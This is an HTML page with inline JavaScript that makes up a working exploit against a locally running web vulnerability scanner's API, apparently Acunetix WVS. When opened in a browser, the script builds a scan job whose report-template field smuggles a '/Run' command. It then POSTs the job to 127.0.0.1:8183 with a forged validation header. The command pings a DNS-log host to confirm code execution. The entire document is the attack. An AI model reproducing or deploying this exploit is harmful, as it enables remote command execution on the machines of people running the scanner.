<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>process</title>
</head>

<body>
    <h1>process</h1>
    <script>
        // 获取当前时间
        var time = new Date();
        var y = time.getFullYear();
        var m = time.getMonth() + 1;
        var d = time.getDate();
        var hours = time.getHours();
        var min = time.getMinutes() + 1;

        // 构建payload
        var exp_payload = 'ping js.s461gj.dnslog.cn'

        // 构建URL字符串
        var padding = "http://";
        for (var i = 0; i < 20; i++) {
            padding += "a";
        }

        // 构建JSON字符串
        var exp = {
            "scanType": "scan",
            "targetList": "",
            "target": [padding],
            "recurse": "-1",
            "date": m + '/' + d + '/' + y,
            "dayOfWeek": "1",
            "dayOfMonth": "1",
            "time": hours + ':' + min,
            "deleteAfterCompletion": "False",
            "params": {
                "profile": "Default",
                "loginSeq": "<none>",
                "settings": "Default",
                "scanningmode": "heuristic",
                "excludedhours": "<none>",
                "savetodatabase": "True",
                "savelogs": "False",
                "generatereport": "False",
                "reportformat": "PDF",
                "reporttemplate": "WVSDeveloperReport.rep /Crawl http://www.google.it /Run " + exp_payload,
                "emailaddress": ""
            }
        };

        // 输出JSON字符串
        // document.write(JSON.stringify(exp));
        document.write('<pre><code class="language - javascript">' + JSON.stringify(exp, null, 4) + '</code ></pre > ');

        // 创建XMLHttpRequest对象
        var xmlhttp;
        if (window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }

        // 打开并发送请求
        xmlhttp.open("POST", "http://127.0.0.1:8183/api/addScan", true);
        xmlhttp.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
        xmlhttp.setRequestHeader("Content-type", "application/json; charset=UTF-8");
        xmlhttp.setRequestHeader("RequestValidated", "true");
        xmlhttp.send(JSON.stringify(exp));
    </script>
</body>

</html>
